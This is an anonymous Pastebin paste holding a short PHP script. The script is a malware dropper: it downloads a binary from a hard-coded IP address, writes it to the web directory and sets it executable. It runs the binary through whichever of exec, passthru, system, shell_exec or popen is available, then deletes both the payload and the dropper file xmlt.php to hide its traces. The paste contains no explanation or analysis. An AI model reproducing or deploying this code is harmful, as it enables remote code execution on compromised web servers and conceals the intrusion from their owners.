Guest User

Untitled

a guest
Oct 25th, 2022
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.92 KB | None | 0 0
  1. <?php
  2. $file = file_get_contents('http://77.73.133.99/taka');
  3. $feilrname = 'param';
  4. $path = dirname(__FILE__);
  5. chmod($path.'/', 0755);
  6. $foc = @fopen($path.'/'.$feilrname, 'a');
  7. @fwrite($foc, $file);
  8. @fclose($foc);
  9. @chmod($path.'/'.$feilrname, 0755);
  10. $dat = Extor($path.'/'.$feilrname);
  11. unlink($path.'/'.$feilrname);
  12. unlink($path.'/xmlt.php');
  13. function Extor($window) {
  14.     $linux = '';
  15.     if (function_exists('exec')) {
  16.         @exec($window,$linux);
  17.         $linux = @join("\n",$linux);
  18.     } elseif (function_exists('passthru')) {
  19.         ob_start();
  20.         @passthru($window);
  21.         $linux = ob_get_clean();
  22.     } elseif (function_exists('system')) {
  23.         ob_start();
  24.         @system($window);
  25.         $linux = ob_get_clean();
  26.     } elseif (function_exists('shell_exec')) {
  27.         $linux = shell_exec($window);
  28.     } elseif (is_resource($fo = @popen($window,"r"))) {
  29.         $linux = "";
  30.         while(!@feof($fo))
  31.             $linux .= fread($fo,1024);
  32.         pclose($fo);
  33.     }
  34.     return $linux;
  35. }
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment